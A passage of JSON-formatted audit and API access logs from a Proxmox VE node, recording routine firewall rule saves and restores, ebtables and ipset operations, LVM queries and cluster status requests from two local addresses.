ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964852697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781965775516,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.516:67056): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964158129,"@rawstring":"node=pve type=EXECVE msg=audit(1781964158.129:59840): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965455184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.184:65697): arch=c000003e syscall=59 success=yes exit=0 a0=633e4c3e0ac8 a1=7ffd94d5f7a0 a2=633e8089e680 a3=633e4c3c424e items=2 ppid=63101 pid=63103 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525368,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.368:65987): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964852697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 837"} {"@timestamp":1781965775508,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.508:67055): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964158122,"@rawstring":"node=pve type=EXECVE msg=audit(1781964158.122:59837): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965455184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.184:65696): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd94d5f760 a1=633e808c0410 a2=633e8089e680 a3=5 items=2 ppid=63101 pid=63102 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525367,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.367:65986): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=640e4d309740 items=0 ppid=1156 pid=63377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964850874,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965775502,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.502:67053): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964155953,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.953:59834): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965455178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.178:65694): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63101 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525362,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.362:65985): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1393d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63377 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964850874,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781965775494,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.494:67052): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964155950,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.950:59833): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965455171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.171:65693): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63100 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525355,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.355:65984): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb6b4a020 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964850874,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:09 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965775487,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.487:67051): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964155949,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.949:59832): argc=1 a0=\"date\""} {"@timestamp":1781965455163,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.163:65692): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63099 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525348,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.348:65983): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecb30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964848654,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781965775482,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.482:67050): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964155945,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.945:59830): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965455159,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.159:65691): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.340:65982): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6430 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964847642,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781965775474,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.474:67049): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964155938,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.938:59829): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965455151,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.151:65690): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63097 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.335:65981): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecb30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63373 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964847642,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965775468,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.468:67048): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964155931,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.931:59828): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965455147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.147:65689): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=654a18086740 items=0 ppid=1156 pid=63096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965525329,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.329:65980): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b03bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63372 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964847642,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965775461,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.461:67047): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964155925,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.925:59827): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965455145,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.145:65688): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1387b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525319,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.319:65979): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63371 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964846737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 846"} {"@timestamp":1781965775454,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.454:67046): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964155917,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.917:59826): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965455139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.139:65687): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138970 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63095 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.310:65978): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63370 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964844629,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781965775449,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.449:67045): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964155912,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.912:59824): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965455133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.133:65686): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fc0f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63094 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.303:65977): arch=c000003e syscall=59 success=yes exit=0 a0=58f3d687cb20 a1=58f3d6888ed0 a2=58f3d6856680 a3=5 items=2 ppid=63363 pid=63369 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964844629,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965775445,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.445:67044): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964155907,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.907:59823): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965455125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.125:65685): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147090 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63093 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525291,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.291:65976): arch=c000003e syscall=59 success=yes exit=0 a0=58f3c504dac8 a1=7ffd3f4f52d0 a2=58f3d6856680 a3=58f3c503124e items=2 ppid=63363 pid=63365 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964844629,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965775444,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.444:67043): argc=1 a0=\"date\""} {"@timestamp":1781964155901,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.901:59822): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965455120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.120:65684): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d580 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63092 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525284,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.284:65975): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd3f4f5290 a1=58f3d68781c0 a2=58f3d6856680 a3=5 items=2 ppid=63363 pid=63364 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964843613,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965775439,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.439:67041): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964155896,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.896:59821): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965455114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.114:65683): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0de9d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63091 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.279:65973): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63363 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964841710,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:00 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965775431,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.431:67040): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964155890,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.890:59820): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965455106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.106:65682): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.271:65972): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63362 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964841710,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:00 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 459"} {"@timestamp":1781965775425,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.425:67039): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964155884,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.884:59819): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965455094,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.094:65681): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63089 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525263,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.263:65971): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964840712,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965775419,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.419:67038): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964155878,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.878:59818): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965455089,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.089:65680): arch=c000003e syscall=59 success=yes exit=0 a0=5d14a86b1ed0 a1=5d14a86aec50 a2=5d14a8690680 a3=5 items=2 ppid=63082 pid=63088 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525255,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.255:65970): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b3adb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964840712,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 851"} {"@timestamp":1781965775411,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.411:67037): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964155871,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.871:59817): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965455086,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.086:65679): arch=c000003e syscall=59 success=yes exit=0 a0=5d1479c2eac8 a1=7fffb5d01170 a2=5d14a8690680 a3=5d1479c1224e items=2 ppid=63082 pid=63084 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.246:65969): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f91c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964839690,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781965775401,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.401:67036): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964155867,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.867:59816): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965455084,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.084:65678): arch=c000003e syscall=59 success=yes exit=0 a0=7fffb5d01130 a1=5d14a8697310 a2=5d14a8690680 a3=5 items=2 ppid=63082 pid=63083 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965525.237:65968): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146fd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964838665,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965775001,"@rawstring":"node=pve type=EXECVE msg=audit(1781965775.001:67035): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964155864,"@rawstring":"node=pve type=EXECVE msg=audit(1781964155.864:59815): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965455079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965455.079:65676): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63082 